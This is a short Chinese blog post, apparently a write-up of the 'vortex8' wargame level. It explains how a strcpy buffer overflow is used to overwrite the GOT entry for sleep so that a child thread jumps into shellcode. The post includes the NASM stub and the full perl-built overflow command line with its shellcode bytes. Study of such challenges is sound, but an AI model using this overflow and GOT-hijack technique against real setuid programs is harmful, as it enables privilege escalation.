vortex8

Posted by rk700 on July 9, 2014

这道题里用了setresuid。但是调用的方式是通过syscall,我实验了下,如果是直接setresuid,那么子线程的uid被改变了;而如果是syscall,那么子线程的uid不变。现在还不清楚这是为什么,估计是和signal什么的有关。

总之,现在必须在子线程里invoke shell。我们还是可以通过修改got来做到。也就是说,先在父进程unsafecode里执行我们的命令,来修改got,然后让父进程先不要退出(否则子进程也结束了);然后子进程再调用的时候就会跳到修改后的地方,我们在那里放上payload

可以通过

$ objump -R vortex8

来获得函数在got的地址。我想试着修改fflush的地址,但没成功,不知道是为什么。修改sleep是可以的

BITS 32

mov ebx, 0x0804a008 ;sleep
mov eax, [ebx]
mov dword [ebx], 0xffffd8f2 ;SHELLCODE

loop:
jmp loop

最后的部分是无限循环,这样主线程就不会先于子线程退出

确定了strcpy的目标到返回地址的距离然后

$ /tmp/nabla$ /vortex/vortex8 `perl -e 'print "A"x1021 . "\xbb\x08\xa0\x04\x08\x8b\x03\xc7\x03\xf2\xd8\xff\xff\xeb\xfe"  . "\xbd\xd2\xff\xff"'`